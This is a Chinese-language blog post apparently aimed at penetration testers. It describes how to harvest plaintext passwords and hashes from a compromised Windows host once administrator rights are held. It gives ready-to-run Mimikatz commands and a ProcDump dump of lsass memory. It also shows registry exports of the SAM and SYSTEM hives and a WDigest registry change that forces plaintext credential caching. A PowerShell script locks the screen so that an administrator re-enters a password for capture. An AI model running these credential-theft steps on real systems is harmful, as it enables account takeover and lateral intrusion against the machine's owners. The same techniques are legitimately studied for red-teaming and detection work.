Windows获取密码及hash


前言

在拿到一台 Windows 的管理员权限以后,可以通过多种方法获取 Windows 系统的明文密码或者 hash 值,这将有利于我们在内网中扩大渗透范围。

0x01 Mimikatz

Mimikat是一个法国人写的轻量级调试器。Mimikat可以从内存中提取纯文本密码,hash,PIN码和kerberos票证。

将Mimikatz上传至受害目标系统上,然后执行如下命令:

mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords" exit

在Windows低版本操作系统中(例如:windows2003、windows2008等等),可以直接获取到明文密码。

在windows高版本操作系统中(例如:windows2012、windows2016等等),不能直接获取明文密码,可以利用获取到的hash值在cmd5等一些在线网站中尝试解密获取明文密码。

0x02 Mimikatz+Procdump

ProcDump 是微软官方发布的一款命令行实用工具,可以绕过大多数的防护软件,该工具可以把lsass的内存dump下来,其中lsass进程里存放了Windows登录的账号密码信息。

把Procdump上传至受害目标系统上,使用该工具将lsass的内存dump保存,执行如下命令:

procdump.exe -accepteula -ma lsass.exe lsass.dmp

然后将lsass.dmp导出到攻击者的本地电脑上,再利用Mimikatz读取密码和hash。

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

0x03 Mimikatz+注册表

利用注册表读取密码的两个主要文件:

reg save HKLM\SYSTEM Sys.hiv
reg save HKLM\SAM Sam.hiv

Sys.hivSam.hiv导出到攻击者的本地电脑上,再利用Mimikatz读取密码hash。

mimikatz.exe "lsadump::sam /sam:Sam.hiv /system:Sys.hiv " exit> pwd.txt

0x04 Mimikatz+注册表+锁屏登录

在windows高版本操作系统中(例如:windows2012、windows2016等等),默认情况下已禁止在内存缓存中存系统用户明文密码,不能直接使用Mimikatz从内存中获取到明文密码。

可通过修改注册表设置允许存储明文密码,并让其系统强制锁屏,等待管理员重新输入账号密码后,即可抓取到明文密码。

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

使用如下powershell脚本,可以强制电脑锁屏:

Function Lock-WorkStation {
$signature = @"
[DllImport ("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation

将上述代码保存到目标系统上为lock.ps1,然后执行如下命令,即可目标系统强制锁屏:

powershell -file lock.ps1

等待管理员输入密码重新登录系统后,即可使用Mimikatz抓取到内存中的明文密码。

参考文章


文章作者: LuckySec
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 LuckySec !
评论
  目录